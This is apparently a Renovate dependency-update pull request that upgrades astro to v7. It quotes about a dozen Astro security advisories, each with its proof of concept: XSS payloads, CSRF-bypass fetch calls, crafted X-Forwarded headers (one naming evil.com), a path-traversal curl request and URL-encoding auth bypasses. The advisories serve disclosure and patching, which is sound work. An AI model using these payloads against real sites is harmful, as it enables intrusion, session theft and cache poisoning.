Update dependency astro to v7 [SECURITY] #5

Open
renovate wants to merge 1 commit from renovate/npm-astro-vulnerability into main
Collaborator

This PR contains the following updates:

Package Change Age Confidence
astro (source) ^4.2.8 → ^7.0.0 age confidence

⚠️ Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


DOM Clobbering Gadget found in astro's client-side router that leads to XSS

CVE-2024-47885 / GHSA-m85w-3h95-hcf9

More information

Details

Summary

A DOM Clobbering gadget has been discoverd in Astro's client-side router. It can lead to cross-site scripting (XSS) in websites enables Astro's client-side routing and has stored attacker-controlled scriptless HTML elements (i.e., iframe tags with unsanitized name attributes) on the destination pages.

Details
Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Astro

We identified a DOM Clobbering gadget in Astro's client-side routing module, specifically in the <ViewTransitions /> component. When integrated, this component introduces the following vulnerable code, which is executed during page transitions (e.g., clicking an <a> link):

github.com/withastro/astro@7814a6cad1/packages/astro/src/transitions/router.ts (L135-L156)

However, this implementation is vulnerable to a DOM Clobbering attack. The document.scripts lookup can be shadowed by an attacker injected non-script HTML elements (e.g., <img name="scripts"><img name="scripts">) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements.

The condition script.dataset.astroExec === '' on line 138 can be bypassed because the attacker-controlled element does not have a data-astroExec attribute. Similarly, the check on line 134 can be bypassed as the element does not require a type attribute.

Finally, the innerHTML of an attacker-injected non-script HTML elements, which is plain text content before, will be set to the .innerHTML of an script element that leads to XSS.

PoC

Consider a web application using Astro as the framework with client-side routing enabled and allowing users to embed certain scriptless HTML elements (e.g., form or iframe). This can be done through a bunch of website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

For PoC website, please refer to: https://stackblitz.com/edit/github-4xgj2d. Clicking the "about" button in the menu will trigger an alert(1) from an attacker-injected form element.

---
import Header from "../components/Header.astro";
import Footer from "../components/Footer.astro";
import { ViewTransitions } from "astro:transitions";
import "../styles/global.css";
const { pageTitle } = Astro.props;
---
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <link rel="icon" type="image/svg+xml" href="/favicon.svg" />
    <meta name="viewport" content="width=device-width" />
    <meta name="generator" content={Astro.generator} />
    <title>{pageTitle}</title>
    <ViewTransitions />
  </head>
  <body>
    <!--USER INPUT-->
    <iframe name="scripts">alert(1)</iframe>
    <iframe name="scripts">alert(1)</iframe>
    <!--USER INPUT-->
    
    <Header />
    <h1>{pageTitle}</h1>
    <slot />
    <Footer />
    <script>
      import "../scripts/menu.js";
    </script>
  </body>
</html>
Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that built with Astro that enable the client-side routing with ViewTransitions and store the user-inserted scriptless HTML tags without properly sanitizing the name attributes on the page.

Patch

We recommend replacing document.scripts with document.getElementsByTagName('script') for referring to script elements. This will mitigate the possibility of DOM Clobbering attacks leveraging the name attribute.

Reference

Similar issues for reference:

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Atro CSRF Middleware Bypass (security.checkOrigin)

CVE-2024-56140 / GHSA-c4pw-33h3-35xw

More information

Details

Summary

A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks.

Details

When the security.checkOrigin configuration option is set to true, Astro middleware will perform a CSRF check. (Source code: github.com/withastro/astro@6031962ab5/packages/astro/src/core/app/middlewares.ts)

For example, with the following Astro configuration:

// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
	output: 'server',
	security: { checkOrigin: true },
	adapter: node({ mode: 'standalone' }),
});

A request like the following would be blocked if made from a different origin:

// fetch API or <form action="https://test.example.com/" method="POST">
fetch('https://test.example.com/', {
	method: 'POST',
	credentials: 'include',
	body: 'a=b',
	headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
});
// => Cross-site POST form submissions are forbidden

However, a vulnerability exists that can bypass this security.

Pattern 1: Requests with a semicolon after the Content-Type

A semicolon-delimited parameter is allowed after the type in Content-Type.

Web browsers will treat a Content-Type such as application/x-www-form-urlencoded; abc as a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.

fetch('https://test.example.com', {
	method: 'POST',
	credentials: 'include',
	body: 'test',
	headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' },
});
// => Server-side functions are executed (Response Code 200).
Pattern 2: Request without Content-Type header

The Content-Type header is not required for a request. The following examples are sent without a Content-Type header, resulting in CSRF.

// Pattern 2.1 Request without body
fetch('http://test.example.com', { method: 'POST', credentials: 'include' });

// Pattern 2.2 Blob object without type
fetch('https://test.example.com', {
	method: 'POST',
	credentials: 'include',
	body: new Blob(['a=b'], {}),
});
Impact

Bypass CSRF protection implemented with CSRF middleware.

Note

Even with credentials: 'include', browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro's server source code is exposed to the public if sourcemaps are enabled

CVE-2024-56159 / GHSA-49w6-73cw-chjr

More information

Details

Summary

A bug in the build process allows any unauthenticated user to read parts of the server source code.

Details

During build, along with client assets such as css and font files, the sourcemap files for the server code are moved to a publicly-accessible folder.
github.com/withastro/astro@176fe9f113/packages/astro/src/core/build/static-build.ts (L139)

Any outside party can read them with an unauthorized HTTP GET request to the same server hosting the rest of the website.

While some server files are hashed, making their access obscure, the files corresponding to the file system router (those in src/pages) are predictably named. For example. the sourcemap file for src/pages/index.astro gets named dist/client/pages/index.astro.mjs.map.

PoC

Here is one example of an affected open-source website:
https://creatorsgarten.org/pages/index.astro.mjs.map

The file can be saved and opened using https://evanw.github.io/source-map-visualization/ to reconstruct the source code.

The above accurately mirrors the source code as seen in the repository: https://github.com/creatorsgarten/creatorsgarten.org/blob/main/src/pages/index.astro

The above was found as the 4th result (and the first one on Astro 5.0+) when making the following search query on GitHub.com (search results link):

path:astro.config.mjs @sentry/astro

This vulnerability is the root cause of https://github.com/withastro/astro/issues/12703, which links to a simple stackblitz project demonstrating the vulnerability. Upon build, notice the contents of the dist/client (referred to as config.build.client in astro code) folder. All astro servers make the folder in question accessible to the public internet without any authentication. It contains .map files corresponding to the code that runs on the server.

Impact

All server-output (SSR) projects on Astro 5 versions v5.0.3 through v5.0.6 (inclusive), that have sourcemaps enabled, either directly or through an add-on such as sentry, are affected. The fix for server-output projects was released in astro@5.0.7.

Additionally, all static-output (SSG) projects built using Astro 4 versions 4.16.17 or older, or Astro 5 versions 5.0.7 or older, that have sourcemaps enabled are also affected. The fix for static-output projects was released in astro@5.0.8, and backported to Astro v4 in astro@4.16.18.

The immediate impact is limited to source code. Any secrets or environment variables are not exposed unless they are present verbatim in the source code.

There is no immediate loss of integrity within the the vulnerable server. However, it is possible to subsequently discover another vulnerability via the revealed source code .

There is no immediate impact to availability of the vulnerable server. However, the presence of an unsafe regular expression, for example, can quickly be exploited to subsequently compromise the availability.

  • Network attack vector.
  • Low attack complexity.
  • No privileges required.
  • No interaction required from an authorized user.
  • Scope is limited to first party. Although the source code of closed-source third-party software may also be exposed.
Remediation

The fix for server-output projects was released in astro@5.0.7, and the fix for static-output projects was released in astro@5.0.8 and backported to Astro v4 in astro@4.16.18. Users are advised to update immediately if they are using sourcemaps or an integration that enables sourcemaps.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro allows unauthorized third-party images in _image endpoint

CVE-2025-55303 / GHSA-xf8x-j4p2-f749

More information

Details

Summary

In affected versions of astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.

Details

On-demand rendered sites built with Astro include an /_image endpoint which returns optimized versions of images.

The /_image endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, a bug in impacted versions of astro allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. /_image?href=//example.com/image.png.

Proof of Concept
  1. Create a new minimal Astro project (astro@5.13.0).

  2. Configure it to use the Node adapter (@astrojs/node@9.1.0 — newer versions are not impacted):

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    import node from '@astrojs/node';
    
    export default defineConfig({
    	adapter: node({ mode: 'standalone' }),
    });
    
  3. Build the site by running astro build.

  4. Run the server, e.g. with astro preview.

  5. Append /_image?href=//placehold.co/600x400 to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400

  6. The site will serve the image from the unauthorized placehold.co origin.

Impact

Allows a non-authorized third-party to create URLs on an impacted site’s origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.

Severity

  • CVSS Score: 6.4 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro's X-Forwarded-Host is reflected without validation

CVE-2025-61925 / GHSA-5ff5-9fcw-vg88

More information

Details

Summary

When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an X-Forwarded-Host header that is reflected when using the recommended Astro.url property as there is no validation that the value is safe.

Details

Astro reflects the value in X-Forwarded-Host in output when using Astro.url without any validation.

It is common for web servers such as nginx to route requests via the Host header, and forward on other request headers. As such as malicious request can be sent with both a Host header and an X-Forwarded-Host header where the values do not match and the X-Forwarded-Host header is malicious. Astro will then return the malicious value.

This could result in any usages of the Astro.url value in code being manipulated by a request. For example if a user follows guidance and uses Astro.url for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.

As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.

Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.

PoC
  • Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server
  • nvm use
  • yarn run build
  • node ./dist/server/entry.mjs
  • curl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com'
  • Observe that the response reflects the malicious X-Forwarded-Host header

For the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above curl request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.

Impact

This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro Development Server has Arbitrary Local File Read

CVE-2025-64757 / GHSA-x3h8-62x9-952g

More information

Details

Summary

A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.

Details
  • Title: Arbitrary Local File Read in Astro Development Image Endpoint
  • Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • Component: /packages/astro/src/assets/endpoint/node.ts
  • Affected Versions: Astro v5.x development builds (confirmed v5.13.3)
  • Attack Vector: Network (HTTP GET request)
  • Authentication Required: None

The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an href parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.

Vulnerable Code Location: packages/astro/src/assets/endpoint/node.ts

// Vulnerable code in development mode
if (import.meta.env.DEV) {
    fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src)));
} else {
    // Production has proper path validation
    // ... security checks omitted in dev mode
}

The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.

PoC
Attack Prerequisites
  1. Astro development server must be running (astro dev)
  2. The /_image endpoint must be accessible to the attacker
  3. Target image files must be readable by the Node.js process
Exploit Steps
  1. Start Astro Development Server:

    astro dev  # Typically runs on http://localhost:4321
    
  2. Craft Malicious Request:

    GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1
    Host: localhost:4321
    
  3. Example Attack:

    curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png
    
Demonstration Results

Test Environment: macOS with Astro v5.13.3

Successful Exploitation:

  • Target: /System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg
  • Response: HTTP 200 OK, Content-Type: image/png
  • Exfiltration: 303 bytes (100x100 PNG)
  • File Created: stolen-image.png containing processed system image

Attack Payload:

http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png

Server Response:

Status: 200 OK
Content-Type: image/png
Content-Length: 303
Impact
Confidentiality Impact: HIGH
  • Scope: Any image file readable by the Node.js process
  • Exfiltration Method: Complete file contents via HTTP response (transformed to PNG)
Integrity Impact: NONE
  • The vulnerability only allows reading files, not modification
Availability Impact: NONE
  • No direct impact on system availability
  • Potential for resource exhaustion through repeated large image requests
Affected Components
Primary Component
  • File: packages/astro/src/assets/endpoint/node.ts
  • Function: loadLocalImage()
  • Lines: Development mode branch (~25-35)
Secondary Components
  • File: packages/astro/src/assets/endpoint/generic.ts
  • Impact: Uses different code path, not directly vulnerable
  • Note: Implements proper remote allowlist validation

Severity

  • CVSS Score: 3.5 / 10 (Low)
  • Vector String: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass

CVE-2025-64525 / GHSA-hr2q-hp5q-x767

More information

Details

Summary

In impacted versions of Astro using on-demand rendering, request headers x-forwarded-proto and x-forwarded-port are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:

  • Middleware-based protected route bypass (only via x-forwarded-proto)
  • DoS via cache poisoning (if a CDN is present)
  • SSRF (only via x-forwarded-proto)
  • URL pollution (potential SXSS, if a CDN is present)
  • WAF bypass
Details

The x-forwarded-proto and x-forwarded-port headers are used without sanitization in two parts of the Astro server code. The most important is in the createRequest() function. Any configuration, including the default one, is affected:

https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97
https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121

These header values are then used directly to construct URLs.

By injecting a payload at the protocol level during URL creation (via the x-forwarded-proto header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.

If the following header value is injected when requesting the path /ssr:

x-forwarded-proto: https://www.malicious-url.com/?tank=

The complete URL that will be created is: https://www.malicious-url.com/?tank=://localhost/ssr

As a reminder, URLs are created like this:

url = new URL(`${protocol}://${hostnamePort}${req.url}`);

The value is injected at the beginning of the string (${protocol}), and ends with a query ?tank= whose value is the rest of the string, ://${hostnamePort}${req.url}.

This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.

The same logic applies to x-forwarded-port, with a few differences.

Note

The createRequest function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.

PoC

The PoC will be tested with a minimal repository:

  • Latest Astro version at the time (2.16.0)
  • The Node adapter
  • Two simple pages, one SSR (/ssr), the other simulating an admin page (/admin) protected by a middleware
  • A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path

Download the PoC repository

Middleware-based protected route bypass - x-forwarded-proto only

The middleware has been configured to protect the /admin route based on the official documentation:

// src/middleware.ts
import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false; // auth logic
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});
  1. When tryint to access /admin the attacker is naturally redirected :

    curl -i http://localhost:4321/admin
    
    image
  2. The attackr can bypass the middleware path check using a malicious header value:

    curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin
    
    image
How ​​is this possible?

Here, with the payload x:admin?, the attacker can use the URL API parser to their advantage:

  • x: is considered the protocol
  • Since there is no //, the parser considers there to be no authority, and everything before the ? character is therefore considered part of the path: admin

During a path-based middleware check, the path value begins with a /: context.url.pathname === "/admin". However, this is not the case with this payload; context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.

SSRF

As seen, the request URL is built from untrusted input via the x-forwarded-protocol header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).

Example of code reusing the "origin" URL, concatenating it to the API endpoint :

image
DoS via cache poisoning

If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.

A 404 cab be forced, causing an error on the /ssr page like this : curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr
image

Same logic applies to x-forwarded-port : curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr

How ​​is this possible?

The router sees the request for the path /vulnerable, which does not exist, and therefore returns a 404, while the potential CDN sees /ssr and can then cache the 404 response, consequently serving it to all users requesting the path /ssr.

URL pollution

The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.

If the value of request.url is used to create links within the page, this can lead to Stored XSS with x-forwarded-proto and the following value:

x-forwarded-proto: javascript:alert(document.cookie)//

results in the following URL object:

image

It is also possible to inject any link, always, if the value of request.url is used on the server side to create links.

x-forwarded-proto: https://www.malicious-site.com/bad?

The attacker is more limited with x-forwarded-port

If the value of request.url is used to create links within the page, this can lead to broken links, with the header and the following value:

X-Forwarded-Port: /nope?

Example of an Astro website:
Capture d’écran 2025-11-03 à 22 07 14

WAF bypass

For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was x-forwarded-host in their case:

https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path

Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.

CVE-2025-61925 complete bypass

It is possible to completely bypass the vulnerability patch related to the X-Forwarded-Host header.

By sending x-forwarded-host with an empty value, the forwardedHostname variable is assigned an empty string. Then, during the subsequent check, the condition fails because forwardedHostname returns false, its value being an empty string:

if (forwardedHostname && !App.validateForwardedHost(...))

Consequently, the implemented check is bypassed. From this point on, since the request has no host (its value being an empty string), the path value is retrieved by the URL parser to set it as the host. This is because the http/https schemes are considered special schemes by the WHATWG URL Standard Specification, requiring an authority state.

From there, the following request on the example SSR application (astro repo) yields an SSRF:
Capture d’écran 2025-11-06 à 21 18 26
empty x-forwarded-host + the target host in the path

Credits
  • Allam Rachid (zhero;)
  • Allam Yasser (inzo)

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro's middleware authentication checks based on url.pathname can be bypassed via url encoded values

CVE-2025-64765 / GHSA-ggxq-hp9w-j794

More information

Details

A mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies decodeURI() to determine which route to render, while the middleware uses context.url.pathname without applying the same normalization (decodeURI).

This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks.

github.com/withastro/astro@ebc4b1cde8/packages/astro/src/vite-plugin-astro-server/request.ts (L40-L44)

/** The main logic to route dev server requests to pages in Astro. */
export async function handleRequest({
    pipeline,
    routesList,
    controller,
    incomingRequest,
    incomingResponse,
}: HandleRequest) {
    const { config, loader } = pipeline;
    const origin = `${loader.isHttps() ? 'https' : 'http'}://${
        incomingRequest.headers[':authority'] ?? incomingRequest.headers.host
    }`;

    const url = new URL(origin + incomingRequest.url);
    let pathname: string;
    if (config.trailingSlash === 'never' && !incomingRequest.url) {
        pathname = '';
    } else {
        // We already have a middleware that checks if there's an incoming URL that has invalid URI, so it's safe
        // to not handle the error: packages/astro/src/vite-plugin-astro-server/base.ts
        pathname = decodeURI(url.pathname); // here this url is for routing/rendering
    }

    // Add config.base back to url before passing it to SSR
    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; // this is used for middleware context

Consider an application having the following middleware code:

import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false;  // simulate no auth
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});

context.url.pathname is validated , if it's equal to /admin the isAuthed property must be true for the next() method to be called. The same example can be found in the official docs https://docs.astro.build/en/guides/authentication/

context.url.pathname returns the raw version which is /%61admin while pathname which is used for routing/rendering /admin, this creates a path normalization mismatch.

By sending the following request, it's possible to bypass the middleware check

GET /%61dmin HTTP/1.1
Host: localhost:3000
image

Remediation

Ensure middleware context has the same normalized pathname value that Astro uses internally, because any difference could allow it to bypass such checks. In short maybe something like this

        pathname = decodeURI(url.pathname);
    }

    // Add config.base back to url before passing it to SSR
-    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname;
+    url.pathname = removeTrailingForwardSlash(config.base) + decodeURI(url.pathname);

Thank you, let @​Sudistark know if any more info is needed. Happy to help :)

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro has an Authentication Bypass via Double URL Encoding, a bypass for CVE-2025-64765

CVE-2025-66202 / GHSA-whqg-ppgf-wp8c

More information

Details

Authentication Bypass via Double URL Encoding in Astro
Bypass for CVE-2025-64765 / GHSA-ggxq-hp9w-j794

Summary

A double URL encoding bypass allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like /%2561dmin instead of /%61dmin, attackers can still bypass authentication and access protected resources such as /admin, /api/internal, or any route protected by middleware pathname checks.

Fix

A more secure fix is just decoding once, then if the request has a %xx format, return a 400 error by using something like :

if (containsEncodedCharacters(pathname)) {
            // Multi-level encoding detected - reject request
            return new Response(
                'Bad Request: Multi-level URL encoding is not allowed',
                {
                    status: 400,
                    headers: { 'Content-Type': 'text/plain' }
                }
            );
        }

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro vulnerable to reflected XSS via the server islands feature

CVE-2025-64764 / GHSA-wrwg-2hg8-v723

More information

Details

Summary

After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, regardless of what was intended by the component template(s).

Details

Server islands run in their own isolated context outside of the page request and use the following pattern path to hydrate the page: /_server-islands/[name]. These paths can be called via GET or POST and use three parameters:

  • e: component to export
  • p: the transmitted properties, encrypted
  • s: for the slots

Slots are placeholders for external HTML content, and therefore allow, by default, the injection of code if the component template supports it, nothing exceptional in principle, just a feature.

This is where it becomes problematic: it is possible, independently of the component template used, even if it is completely empty, to inject a slot containing an XSS payload, whose parent is a tag whose name is is the absolute path of the island file. Enabling reflected XSS on any application, regardless of the component templates used, provided that the server islands is used at least once.

How ?

By default, when a call is made to the endpoint /_server-islands/[name], the value of the parameter e is default, pointing to a function exported by the component's module.

Upon further investigation, we find that two other values ​​are possible for the component export (param e) in a typical configuration: url and file. file returns a string value corresponding to the absolute path of the island file. Since the value is of type string, it fulfills the following condition and leads to this code block:

image

An entire template is created, completely independently, and then returned:

  • the absolute path name is sanitized and then injected as the tag name
  • childSlots, the value provided to the s parameter, is injected as a child

All of this is done using markHTMLString. This allows the injection of any XSS payload, even if the component template intended by the application is initially empty or does not provide for the use of slots.

Proof of concept

For our Proof of Concept (PoC), we will use a minimal repository:

  • Latest Astro version at the time (5.15.6)
  • Use of Island servers, with a completely empty component, to demonstrate what we explained previously

Download the PoC repository

Access the following URL and note the opening of the popup, demonstrating the reflected XSS:

http://localhost:4321/_server-islands/ServerTime?e=file&p=&s={%22zhero%22:%22%3Cimg%20src=x%20onerror=alert(0)%3E%22}

image

The value of the parameter s must be in JSON format and the payload must be injected at the value level, not the key level :

for_respected_patron

Despite the initial template being empty, it is created because the value of the URL parameter e is set to file, as explained earlier. The parent tag is the name of the component's internal route, and its child is the value of the key "zhero" (the name doesn't matter) of the URL parameter s.

Credits
  • Allam Rachid (zhero;)
  • Allam Yasser (inzo)

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro Cloudflare adapter has Stored Cross-site Scripting vulnerability in /_image endpoint

CVE-2025-65019 / GHSA-fvmw-cj7j-j39q

More information

Details

Summary
A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the @​astrojs/cloudflare adapter with output: 'server'. The built-in image optimization endpoint (/_image) uses isRemoteAllowed() from Astro’s internal helpers, which unconditionally allows data: URLs. When the endpoint receives a valid data: URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a 302 redirect back to the original data: URL, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (image.domains / image.remotePatterns) and typical Content Security Policy mitigations.

Affected Versions

  • @astrojs/cloudflare ≤ 12.6.10 (and likely all previous versions)
  • Astro ≥ 4.x when used with output: 'server' and the Cloudflare adapter

Root Cause – Vulnerable Code
File: node_modules/@astrojs/internal-helpers/src/remote.ts

export function isRemoteAllowed(src: string, ...): boolean {
  if (!URL.canParse(src)) {
    return false;
  }
  const url = new URL(src);

  // Data URLs are always allowed 
  if (url.protocol === 'data:') {
    return true;
  }

  // Non-http(s) protocols are never allowed
  if (!['http:', 'https:'].includes(url.protocol)) {
    return false;
  }
  // ... further http/https allow-list checks
}

In the Cloudflare adapter, the /_image endpoint contains logic similar to:

	const href = ctx.url.searchParams.get('href');
	if (!href) {
		// return error 
	}

	if (isRemotePath(href)) {
		if (isRemoteAllowed(href, imageConfig) === false) {
			// return error
		} else {
            //redirect to return the image 
			return Response.redirect(href, 302);
		}
	}

Because data: URLs are considered “allowed”, a request such as:
https://example.com/_image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)

triggers a 302 redirect directly to the data: URL, causing the browser to render and execute the malicious JavaScript inside the SVG.

Proof of Concept (PoC)

  1. Create a minimal Astro project with Cloudflare adapter (output: 'server').
  2. Deploy to Cloudflare Pages or Workers.
  3. Request the image endpoint with the following payload:
https://yoursite.com/_image?href=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoJ3pvbWFzZWMnKTwvc2NyaXB0Pjwvc3ZnPg==

(Base64 decodes to: <svg xmlns="http://www.w3.org/2000/svg"><script>alert('zomasec')</script></svg>)

  1. The endpoint returns a 302 redirect to the data: URL → browser executes the <script> → alert() fires.

Impact

  • Reflected/Strored XSS (depending on application usage)
  • Session hijacking (access to cookies, localStorage, etc.)
  • Account takeover when combined with CSRF
  • Data exfiltration to attacker-controlled servers
  • Bypasses image.domains / image.remotePatterns configuration entirely

Safe vs Vulnerable Behavior
Other Astro adapters (Node, Vercel, etc.) typically proxy and rasterize SVGs, stripping JavaScript. The Cloudflare adapter currently redirects to remote resources (including data: URLs), making it uniquely vulnerable.

References

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Astro: Remote allowlist bypass via unanchored matchPathname wildcard

CVE-2026-33769 / GHSA-g735-7g2w-hh3f

More information

Details

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact

